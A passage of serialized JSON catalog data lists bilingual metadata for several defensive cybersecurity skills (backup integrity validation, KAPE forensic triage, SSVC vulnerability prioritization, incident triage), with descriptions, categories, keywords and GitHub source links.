attestation","policy","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":175,"name":176,"nameZh":177,"description":178,"descriptionZh":179,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":180,"categories":181,"keywords":188,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[182,185],{"categoryNo":183,"categoryName":184,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":186,"categoryName":187,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[168,189,190,191,43,49,192,193,45,194,195,196,197,198,199,40,200,201,202,203],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":205,"name":206,"nameZh":207,"description":208,"descriptionZh":209,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":210,"categories":211,"keywords":216,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[212,213],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":214,"categoryName":215,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[217,218,219,49,220,221,222,223,224,225,226,41,227,228,229,230,165,231,232,233],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":235,"name":236,"nameZh":237,"description":238,"descriptionZh":239,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":240,"categories":241,"keywords":246,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[242,245],{"categoryNo":243,"categoryName":244,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[32,247,248,49,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":266,"name":267,"nameZh":268,"description":269,"descriptionZh":270,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":271,"categories":272,"keywords":277,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[273,274],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":275,"categoryName":276,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[132,278,49,279,280,281,282,283,284,285,286,40,287,200,288,289,290,291,292,293],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]